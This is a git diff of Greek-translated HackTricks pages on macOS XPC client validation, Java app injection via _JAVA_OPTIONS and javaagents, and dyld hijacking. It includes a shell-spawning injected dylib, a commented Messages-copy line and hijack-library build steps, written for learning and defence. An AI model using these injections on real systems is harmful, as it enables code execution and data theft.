5. (4 ή 5) Έλεγχος αν η συνδεόμενη διεργασία έχει ενεργοποιημένο το hardened runtime χωρίς επικίνδυνα entitlements (όπως αυτά που επιτρέπουν τη φόρτωση αυθαίρετων βιβλιοθηκών ή τη χρήση μεταβλητών περιβάλλοντος DYLD)
1. Εάν αυτό **δεν επαληθευτεί**, ο πελάτης μπορεί να είναι **ευάλωτος σε εισαγωγή κώδικα**
6. Έλεγχος αν η συνδεόμενη διεργασία έχει ένα **entitlement** που της επιτρέπει να συνδεθεί στην υπηρεσία. Αυτό ισχύει για τα δυαδικά αρχεία της Apple.
7. Η **επαλήθευση** πρέπει να γίνεται **βάσει** του **αναγνωριστικού ελέγχου του πελάτη** αντί για το αναγνωριστικό διεργασίας (**PID**), καθώς το πρώτο αποτρέπει τις επιθέσεις επαναχρησιμοποίησης του PID.
* Οι προγραμματιστές **σπάνια χρησιμοποιούν την κλήση API του αναγνωριστικού ελέγχου** καθώς είναι **ιδιωτική**, οπότε η Apple μπορεί να την **αλλάξει** ανά πάσα στιγμή. Επιπλέον, η χρήση ιδιωτικής API δεν επιτρέπεται σε εφαρμογές του Mac App Store.
* Εάν χρησιμοποιηθεί η μέθοδος **`processIdentifier`**, μπορεί να είναι ευάλωτη
* Πρέπει να χρησιμοποιηθεί η μέθοδος **`xpc_dictionary_get_audit_token`** αντί της **`xpc_connection_get_audit_token`**, καθώς η τελευταία μπορεί επίσης να είναι [ευάλωτη σε συγκεκριμένες καταστάσεις](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/).
1. Έλεγχος αν η **διαδικασία που συνδέεται είναι υπογεγραμμένη με πιστοποιητικό υπογεγραμμένο από την Apple** (δίδεται μόνο από την Apple).
* Αν αυτό **δεν επαληθευτεί**, ένας επιτιθέμενος θα μπορούσε να δημιουργήσει ένα **ψεύτικο πιστοποιητικό** για να ταιριάζει με οποιονδήποτε άλλο έλεγχο.
2. Έλεγχος αν η διαδικασία που συνδέεται είναι υπογεγραμμένη με το **πιστοποιητικό της οργάνωσης**, (έλεγχος ταυτότητας ομάδας).
* Αν αυτό **δεν επαληθευτεί**, **οποιοδήποτε πιστοποιητικό προγραμματιστή** από την Apple μπορεί να χρησιμοποιηθεί για υπογραφή και σύνδεση με την υπηρεσία.
3. Έλεγχος αν η διαδικασία που συνδέεται **περιέχει ένα σωστό bundle ID**.
* Αν αυτό **δεν επαληθευτεί**, οποιοδήποτε εργαλείο **υπογεγραμμένο από την ίδια οργάνωση** θα μπορούσε να χρησιμοποιηθεί για αλληλεπίδραση με την υπηρεσία XPC.
4. (4 ή 5) Έλεγχος αν η διαδικασία που συνδέεται έχει έναν **σωστό αριθμό έκδοσης λογισμικού**.
* Αν αυτό **δεν επαληθευτεί**, ένας παλιός, ανασφαλής πελάτης, ευάλωτος σε ένεση διαδικασίας θα μπορούσε να χρησιμοποιηθεί για σύνδεση με την υπηρεσία XPC ακόμη και με τους άλλους ελέγχους σε εφαρμογή.
5. (4 ή 5) Έλεγχος αν η διαδικασία που συνδέεται έχει σκληρυμένο χρόνο εκτέλεσης χωρίς επικίνδυνες εξουσιοδοτήσεις (όπως αυτές που επιτρέπουν τη φόρτωση αυθαίρετων βιβλιοθηκών ή τη χρήση μεταβλητών περιβάλλοντος DYLD)
1. Αν αυτό **δεν επαληθευτεί**, ο πελάτης μπορεί να είναι **ευάλωτος σε ένεση κώδικα**
6. Έλεγχος αν η διαδικασία που συνδέεται έχει μια **εξουσιοδότηση** που της επιτρέπει να συνδεθεί με την υπηρεσία. Αυτό ισχύει για τα δυαδικά αρχεία της Apple.
7. Η **επικύρωση** πρέπει να είναι **βασισμένη** στο **token ελέγχου του πελάτη** **αντί** για το ID διαδικασίας του (**PID**) καθώς το πρώτο αποτρέπει τις **επιθέσεις επαναχρησιμοποίησης PID**.
* Οι προγραμματιστές **σπάνια χρησιμοποιούν την κλήση API token ελέγχου** καθώς είναι **ιδιωτική**, οπότε η Apple θα μπορούσε να **αλλάξει** οποιαδήποτε στιγμή. Επιπλέον, η χρήση ιδιωτικών API δεν επιτρέπεται σε εφαρμογές του Mac App Store.
* Αν η μέθοδος **`processIdentifier`** χρησιμοποιηθεί, μπορεί να είναι ευάλωτη
* **`xpc_dictionary_get_audit_token`** θα πρέπει να χρησιμοποιείται αντί για **`xpc_connection_get_audit_token`**, καθώς η τελευταία θα μπορούσε επίσης να είναι [ευάλωτη σε ορισμένες καταστάσεις](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/).
### Επιθέσεις Επικοινωνίας
### Communication Attacks
Για περισσότερες πληροφορίες σχετικά με την επίθεση επαναχρησιμοποίησης του PID, ελέγξτε:
Για περισσότερες πληροφορίες σχετικά με την επίθεση επαναχρησιμοποίησης PID ελέγξτε:
{% content-ref url="macos-pid-reuse.md" %}
[macos-pid-reuse.md](macos-pid-reuse.md)
{% endcontent-ref %}
Για περισσότερες πληροφορ
Για περισσότερες πληροφορίες σχετικά με την επίθεση **`xpc_connection_get_audit_token`** ελέγξτε:
{% content-ref url="macos-xpc_connection_get_audit_token-attack.md" %}
[macos-xpc\_connection\_get\_audit\_token-attack.md](macos-xpc\_connection\_get\_audit\_token-attack.md)
{% endcontent-ref %}
### Trustcache - Downgrade Attacks Prevention
Το Trustcache είναι μια αμυντική μέθοδος που εισήχθη σε μηχανές Apple Silicon που αποθηκεύει μια βάση δεδομένων CDHSAH των δυαδικών αρχείων της Apple, ώστε μόνο οι επιτρεπόμενοι μη τροποποιημένοι δυαδικοί κώδικες να μπορούν να εκτελούνται. Αυτό αποτρέπει την εκτέλεση υποβαθμισμένων εκδόσεων.
### Code Examples
Ο διακομιστής θα υλοποιήσει αυτή την **επικύρωση** σε μια συνάρτηση που ονομάζεται **`shouldAcceptNewConnection`**.
{% code overflow="wrap" %}
```objectivec
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
//Check connection
@ -51,9 +66,9 @@ return YES;
```
{% endcode %}
Το αντικείμενο NSXPCConnection έχει μια **ιδιωτική** ιδιότητα **`auditToken`** (αυτή που πρέπει να χρησιμοποιηθεί αλλά μπορεί να αλλάξει) και μια **δημόσια** ιδιότητα **`processIdentifier`** (αυτή που δεν πρέπει να χρησιμοποιηθεί).
Το αντικείμενο NSXPCConnection έχει μια **ιδιωτική** ιδιότητα **`auditToken`** (αυτή που θα έπρεπε να χρησιμοποιείται αλλά μπορεί να αλλάξει) και μια **δημόσια** ιδιότητα **`processIdentifier`** (αυτή που δεν θα έπρεπε να χρησιμοποιείται).
Η διαδικασία σύνδεσης μπορεί να επαληθευτεί με κάτι όπως:
Η διαδικασία σύνδεσης θα μπορούσε να επαληθευτεί με κάτι σαν:
{% code overflow="wrap" %}
```objectivec
@ -77,7 +92,7 @@ SecTaskValidateForRequirement(taskRef, (__bridge CFStringRef)(requirementString)
```
{% endcode %}
Αν ένας προγραμματιστής δεν θέλει να ελέγξει την έκδοση του πελάτη, μπορεί τουλάχιστον να ελέγξει ότι ο πελάτης δεν είναι ευάλωτος στην ενέργεια εισαγωγής διεργασίας:
Αν ένας προγραμματιστής δεν θέλει να ελέγξει την έκδοση του πελάτη, θα μπορούσε τουλάχιστον να ελέγξει ότι ο πελάτης δεν είναι ευάλωτος σε διαδικαστική έγχυση:
{% code overflow="wrap" %}
```objectivec
@ -96,16 +111,17 @@ return Yes; // Accept connection
```
{% endcode %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# Εισαγωγή σε εφαρμογές Java στο macOS
# macOS Java Applications Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Απαρίθμηση
## Enumeration
Βρείτε εγκατεστημένες εφαρμογές Java στο σύστημά σας. Παρατηρήθηκε ότι οι εφαρμογές Java στο **Info.plist** θα περιέχουν ορισμένες παραμέτρους Java που περιέχουν τον χαρακτήρα **`java.`**, οπότε μπορείτε να αναζητήσετε γι' αυτόν:
Βρείτε τις εφαρμογές Java που είναι εγκατεστημένες στο σύστημά σας. Παρατηρήθηκε ότι οι εφαρμογές Java στο **Info.plist** θα περιέχουν κάποιες παραμέτρους java που περιέχουν τη συμβολοσειρά **`java.`**, οπότε μπορείτε να αναζητήσετε αυτό:
```bash
# Search only in /Applications folder
sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
@ -26,13 +27,13 @@ sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
```
## \_JAVA\_OPTIONS
Η μεταβλητή περιβάλλοντος **`_JAVA_OPTIONS`** μπορεί να χρησιμοποιηθεί για να εισαχθούν αυθαίρετες παράμετροι Java κατά την εκτέλεση μιας εφαρμογής που έχει μεταγλωττιστεί σε Java:
Η μεταβλητή περιβάλλοντος **`_JAVA_OPTIONS`** μπορεί να χρησιμοποιηθεί για την εισαγωγή αυθαίρετων παραμέτρων java στην εκτέλεση μιας εφαρμογής που έχει μεταγλωττιστεί σε java:
```bash
# Write your payload in a script called /tmp/payload.sh
export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
```
Για να το εκτελέσετε ως ένα νέο διεργασία και όχι ως παιδί του τρέχοντος τερματικού, μπορείτε να χρησιμοποιήσετε:
Για να το εκτελέσετε ως νέα διαδικασία και όχι ως παιδί του τρέχοντος τερματικού, μπορείτε να χρησιμοποιήσετε:
```objectivec
#import <Foundation/Foundation.h>
// clang -fobjc-arc -framework Foundation invoker.m -o invoker
@ -85,7 +86,7 @@ NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary
return 0;
}
```
Ωστόσο, αυτό θα προκαλέσει ένα σφάλμα στην εκτελούμενη εφαρμογή. Ένας πιο αόρατος τρόπος είναι να δημιουργήσετε έναν Java agent και να χρησιμοποιήσετε:
Ωστόσο, αυτό θα προκαλέσει ένα σφάλμα στην εκτελούμενη εφαρμογή, ένας άλλος πιο διακριτικός τρόπος είναι να δημιουργήσετε έναν java agent και να χρησιμοποιήσετε:
```bash
export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
@ -95,7 +96,7 @@ export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
```
{% hint style="danger" %}
Η δημιουργία του πράκτορα με μια **διαφορετική έκδοση της Java** από την εφαρμογή μπορεί να προκαλέσει την κατάρρευση της εκτέλεσης τόσο του πράκτορα όσο και της εφαρμογής.
Η δημιουργία του πράκτορα με **διαφορετική έκδοση Java** από την εφαρμογή μπορεί να προκαλέσει κατάρρευση της εκτέλεσης τόσο του πράκτορα όσο και της εφαρμογής
{% endhint %}
Όπου ο πράκτορας μπορεί να είναι:
@ -119,19 +120,19 @@ err.printStackTrace();
```
{% endcode %}
Για να συντάξετε τον πράκτορα, εκτελέστε:
Για να μεταγλωττίσετε τον πράκτορα, εκτελέστε:
```bash
javac Agent.java # Create Agent.class
jar cvfm Agent.jar manifest.txt Agent.class # Create Agent.jar
```
Με το `manifest.txt`:
Με `manifest.txt`:
```
Premain-Class: Agent
Agent-Class: Agent
Can-Redefine-Classes: true
Can-Retransform-Classes: true
```
Και στη συνέχεια εξαγάγετε τη μεταβλητή περιβάλλοντος και εκτελέστε την εφαρμογή Java ως εξής:
Και στη συνέχεια εξάγετε τη μεταβλητή env και εκτελέστε την εφαρμογή java όπως:
```bash
export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
@ -140,14 +141,14 @@ export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
```
## Αρχείο vmoptions
## vmoptions file
Αυτό το αρχείο υποστηρίζει την καθορισμό των **παραμέτρων Java** κατά την εκτέλεση της Java. Μπορείτε να χρησιμοποιήσετε μερικά από τα προηγούμενα κόλπα για να αλλάξετε τις παραμέτρους Java και να **κάνετε τη διεργασία να εκτελέσει αυθαίρετες εντολές**.\
Επιπλέον, αυτό το αρχείο μπορεί να **περιλαμβάνει άλλα αρχεία** με τον κατάλογο `include`, οπότε μπορείτε επίσης να αλλάξετε ένα περιλαμβανόμενο αρχείο.
Αυτό το αρχείο υποστηρίζει την καθορισμένη **Java params** όταν εκτελείται η Java. Μπορείτε να χρησιμοποιήσετε μερικά από τα προηγούμενα κόλπα για να αλλάξετε τις παραμέτρους java και **να κάνετε τη διαδικασία να εκτελεί αυθαίρετες εντολές**.\
Επιπλέον, αυτό το αρχείο μπορεί επίσης να **περιλαμβάνει άλλα** με τον κατάλογο `include`, οπότε μπορείτε επίσης να αλλάξετε ένα περιλαμβανόμενο αρχείο.
Επιπλέον, ορισμένες εφαρμογές Java θα **φορτώσουν περισσότερα από ένα αρχεία `vmoptions`**.
Ακόμα περισσότερο, ορισμένες εφαρμογές Java θα **φορτώσουν περισσότερα από ένα `vmoptions`** αρχείο.
Ορισμένες εφαρμογές όπως το Android Studio δείχνουν στην **έξοδό τους πού ψάχνουν** για αυτά τα αρχεία, όπως:
Ορισμένες εφαρμογές όπως το Android Studio υποδεικνύουν στην **έξοδό τους πού ψάχνουν** για αυτά τα αρχεία, όπως:
```bash
/Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions
@ -158,7 +159,7 @@ open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Profession
2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
```
Εάν δεν το κάνουν, μπορείτε εύκολα να το ελέγξετε με:
Αν δεν το κάνουν, μπορείτε εύκολα να το ελέγξετε με:
```bash
# Monitor
sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
@ -166,18 +167,4 @@ sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
# Launch the Java app
/Applications/Android\ Studio.app/Contents/MacOS/studio
```
Παρατηρήστε πόσο ενδιαφέρον είναι ότι το Android Studio σε αυτό το παράδειγμα προσπαθεί να φορτώσει το αρχείο **`/Applications/Android Studio.app.vmoptions`**, ένα μέρος όπου οποιοσδήποτε χρήστης από την ομάδα **`admin` έχει δικαιώματα εγγραφής**.
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
Σημειώστε πόσο ενδιαφέρον είναι ότι το Android Studio σε αυτό το παράδειγμα προσπαθεί να φορτώσει το αρχείο **`/Applications/Android Studio.app.vmoptions`**, ένα μέρος όπου οποιοσδήποτε χρήστης από την **`admin` ομάδα έχει δικαίωμα εγγραφής.**

View file

@ -1,22 +1,23 @@
# macOS Διασπορά Dyld & DYLD\_INSERT\_LIBRARIES
# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Βασικό παράδειγμα DYLD\_INSERT\_LIBRARIES
## DYLD\_INSERT\_LIBRARIES Βασικό παράδειγμα
**Βιβλιοθήκη για ενσωμάτωση** για την εκτέλεση ενός κέλυφους:
**Βιβλιοθήκη προς έγχυση** για την εκτέλεση ενός shell:
```c
// gcc -dynamiclib -o inject.dylib inject.c
@ -34,7 +35,7 @@ execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}
```
Δυαδικός κώδικας για επίθεση:
Δυαδικό προς επίθεση:
```c
// gcc hello.c -o hello
#include <stdio.h>
@ -45,13 +46,13 @@ printf("Hello, World!\n");
return 0;
}
```
Έγχυση:
Εισαγωγή:
```bash
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
```
## Παράδειγμα Dyld Hijacking
## Dyld Hijacking Example
Το ευάλωτο δυαδικό αρχείο που επιθυμούμε να εκμεταλλευτούμε είναι το `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
The targeted vulnerable binary is `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
{% tabs %}
{% tab title="entitlements" %}
@ -91,7 +92,7 @@ compatibility version 1.0.0
{% endtab %}
{% endtabs %}
Με τις προηγούμενες πληροφορίες γνωρίζουμε ότι **δεν ελέγχει την υπογραφή των φορτωμένων βιβλιοθηκών** και προσπαθεί να φορτώσει μια βιβλιοθήκη από:
Με τις προηγούμενες πληροφορίες γνωρίζουμε ότι **δεν ελέγχει την υπογραφή των φορτωμένων βιβλιοθηκών** και **προσπαθεί να φορτώσει μια βιβλιοθήκη από**:
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
@ -104,7 +105,7 @@ pwd
find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib
```
Έτσι, είναι δυνατόν να το αποκτήσουμε! Δημιουργήστε μια βιβλιοθήκη που **εκτελεί κάποιο αυθαίρετο κώδικα και εξάγει τις ίδιες λειτουργίες** με την νόμιμη βιβλιοθήκη, επανεξάγοντάς την. Και θυμηθείτε να την μεταγλωτίσετε με τις αναμενόμενες εκδόσεις:
Έτσι, είναι δυνατόν να το αναλάβετε! Δημιουργήστε μια βιβλιοθήκη που **εκτελεί κάποιο αυθαίρετο κώδικα και εξάγει τις ίδιες λειτουργίες** με τη νόμιμη βιβλιοθήκη επανεξάγοντας την. Και θυμηθείτε να την μεταγλωττίσετε με τις αναμενόμενες εκδόσεις:
{% code title="lib.m" %}
```objectivec
@ -117,7 +118,7 @@ NSLog(@"[+] dylib hijacked in %s", argv[0]);
```
{% endcode %}
Το μεταγλωττίζουμε:
Συγκεντρώστε το:
{% code overflow="wrap" %}
```bash
@ -126,7 +127,7 @@ gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Found
```
{% endcode %}
Η διαδρομή επανεξαγωγής που δημιουργείται στη βιβλιοθήκη είναι σχετική με τον φορτωτή, ας την αλλάξουμε σε απόλυτη διαδρομή για τη βιβλιοθήκη που θέλουμε να εξαγάγουμε:
Η διαδρομή επανεξαγωγής που δημιουργείται στη βιβλιοθήκη είναι σχετική με τον φορτωτή, ας την αλλάξουμε σε απόλυτη διαδρομή προς τη βιβλιοθήκη για εξαγωγή:
{% code overflow="wrap" %}
```bash
@ -147,7 +148,7 @@ name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Con
```
{% endcode %}
Τέλος, απλά αντιγράψτε το στην **καταχωρημένη τοποθεσία**:
Τέλος, απλώς αντιγράψτε το στη **κατεχόμενη τοποθεσία**:
{% code overflow="wrap" %}
```bash
@ -159,29 +160,30 @@ cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
</strong>Usage: [...]
</strong>Χρήση: [...]
</code></pre>
{% hint style="info" %}
Μια καλή ανάλυση σχετικά με το πώς να εκμεταλλευτείτε αυτήν την ευπάθεια για να εκμεταλλευτείτε τα δικαιώματα της κάμερας του Telegram μπορεί να βρεθεί στο [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
Μια ωραία ανάλυση για το πώς να εκμεταλλευτείτε αυτήν την ευπάθεια για να εκμεταλλευτείτε τις άδειες κάμερας του telegram μπορεί να βρεθεί στο [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
{% endhint %}
## Μεγαλύτερη Κλίμακα
Εάν σκοπεύετε να προσπαθήσετε να εισαγάγετε βιβλιοθήκες σε αναπάντεχα δυαδικά αρχεία, μπορείτε να ελέγξετε τα μηνύματα γεγονότων για να διαπιστώσετε πότε φορτώνεται η βιβλιοθήκη μέσα σε ένα διεργασία (σε αυτήν την περίπτωση αφαιρέστε την printf και την εκτέλεση `/bin/bash`).
Αν σκοπεύετε να προσπαθήσετε να εισάγετε βιβλιοθήκες σε απροσδόκητα δυαδικά αρχεία, μπορείτε να ελέγξετε τα μηνύματα γεγονότων για να ανακαλύψετε πότε η βιβλιοθήκη φορτώνεται μέσα σε μια διαδικασία (σε αυτήν την περίπτωση αφαιρέστε το printf και την εκτέλεση του `/bin/bash`).
```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
